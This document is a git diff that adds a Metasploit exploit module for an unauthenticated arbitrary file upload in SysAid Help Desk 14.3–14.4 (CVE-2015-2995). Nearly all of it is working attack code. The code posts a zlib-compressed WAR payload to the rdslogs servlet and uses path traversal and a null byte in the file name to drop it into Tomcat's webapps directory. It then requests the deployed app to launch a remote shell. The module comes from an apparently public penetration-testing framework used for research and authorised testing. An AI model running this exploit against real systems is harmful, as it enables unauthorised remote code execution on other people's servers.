diff --git a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb new file mode 100644 index 0000000000..7e3a02f8de --- /dev/null +++ b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb @@ -0,0 +1,135 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'zlib' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => "SysAid Help Desk 'rdslogs' Arbitrary File Upload", + 'Description' => %q{ + This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. + The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated + file uploads and handles zip file contents in a insecure way. Combining both weaknesses + a remote attacker can accomplish remote code execution. Note that this will only work if the + target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduce a protection + against null byte injection in file names. This module has been tested successfully on version + v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid + seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability + from being exploited. + }, + 'Author' => + [ + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-2995' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => false, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + Opt::RPORT(8080), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for WAR deployment', 15]), + OptString.new('TARGETURI', + [true, 'Base path to the SysAid application', '/sysaid/']) + ], self.class) + end + + + def check + servlet_path = 'rdslogs' + bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'vars_get' => { + 'rdsName' => bogus_file + } + }) + + if res && res.code == 200 + return Exploit::CheckCode::Detected + end + end + + + def exploit + app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + tomcat_path = '../../../../' + servlet_path = 'rdslogs' + + # We need to create the upload directories before our first attempt to upload the WAR. + print_status("#{peer} - Creating upload directory") + bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))), + 'ctype' => 'application/xml', + 'vars_get' => { + 'rdsName' => bogus_file + } + }) + + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + + # We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail + print_status("#{peer} - Uploading WAR file...") + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'data' => Zlib::Deflate.deflate(war_payload), + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'rdsName' => "#{tomcat_path}/tomcat/webapps/#{app_base}.war\x00" + } + }) + + # The server either returns a 200 OK when the upload is successful. + if res && res.code == 200 + print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment") + register_files_for_cleanup("tomcat/webapps/#{app_base}.war") + else + fail_with(Failure::Unknown, "#{peer} - WAR upload failed") + end + + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{peer} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi({ + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + end +end